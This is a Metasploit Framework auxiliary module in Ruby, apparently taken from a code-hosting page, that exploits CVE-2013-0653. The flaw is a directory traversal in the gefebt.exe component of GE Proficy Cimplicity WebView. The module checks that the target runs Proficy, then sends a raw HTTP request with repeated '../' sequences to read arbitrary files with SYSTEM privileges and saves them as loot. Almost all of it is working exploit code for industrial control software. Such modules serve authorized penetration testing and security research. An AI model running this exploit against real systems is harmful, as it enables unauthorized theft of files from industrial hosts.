146 lines
3.9 KiB
Ruby
146 lines
3.9 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'uri'
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal',
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'Description' => %q{
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This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the
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gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM
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privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.
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},
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'Author' =>
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[
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'Unknown', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-0653' ],
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[ 'OSVDB', '89490' ],
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[ 'BID', '57505' ],
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[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ]
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],
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'DisclosureDate' => 'Jan 22 2013'))
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']),
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OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
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# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb
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OptInt.new('DEPTH', [true, 'Traversal depth', 5])
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], self.class)
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end
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def normalize_uri(*strs)
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new_str = strs * "/"
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new_str = new_str.gsub!("//", "/") while new_str.index("//")
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# Makes sure there's a starting slash
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unless new_str[0,1] == '/'
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new_str = '/' + new_str
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end
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new_str
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end
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def target_uri
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begin
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# In case TARGETURI is empty, at least we default to '/'
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u = datastore['TARGETURI']
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u = "/" if u.nil? or u.empty?
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URI(u)
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rescue ::URI::InvalidURIError
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print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
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raise Msf::OptionValidateError.new(['TARGETURI'])
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end
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end
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def my_basename(filename)
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return ::File.basename(filename.gsub(/\\/, "/"))
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end
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def is_proficy?
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connect
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req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n"
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sock.put(req)
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res = sock.get_once
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disconnect
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if res and res =~ /gefebt\.exe/
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return true
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else
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return false
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end
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end
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# We can't use the http client msf mixin because the Proficy Web server
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# return a malformed HTTP response with the file contents, there aren't
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# two new lines (but one) between the HTTP headers and the body content.
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def read_file(file)
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travs = ""
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travs << "../" * datastore['DEPTH']
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travs << file
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print_status("#{@peer} - Retrieving file contents...")
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connect
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req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n"
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sock.put(req)
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res = sock.get_once
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disconnect
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if res and res =~ /HTTP\/1\.0 200 OK/
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return res
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else
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return nil
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end
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end
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def run
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@peer = "#{rhost}:#{rport}"
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print_status("#{@peer} - Checking if it's a GE Proficy Application...")
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if is_proficy?
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print_good("#{@peer} - Check successful")
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else
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print_error("#{@peer} - GE proficy not found")
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return
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end
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contents = read_file(datastore['FILEPATH'])
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if contents.nil?
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print_error("#{@peer} - File not downloaded")
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return
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end
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file_name = my_basename(datastore['FILEPATH'])
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path = store_loot(
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'ge.proficy.traversal',
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'application/octet-stream',
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rhost,
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contents,
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file_name
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)
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print_good("#{rhost}:#{rport} - File saved in: #{path}")
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end
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end
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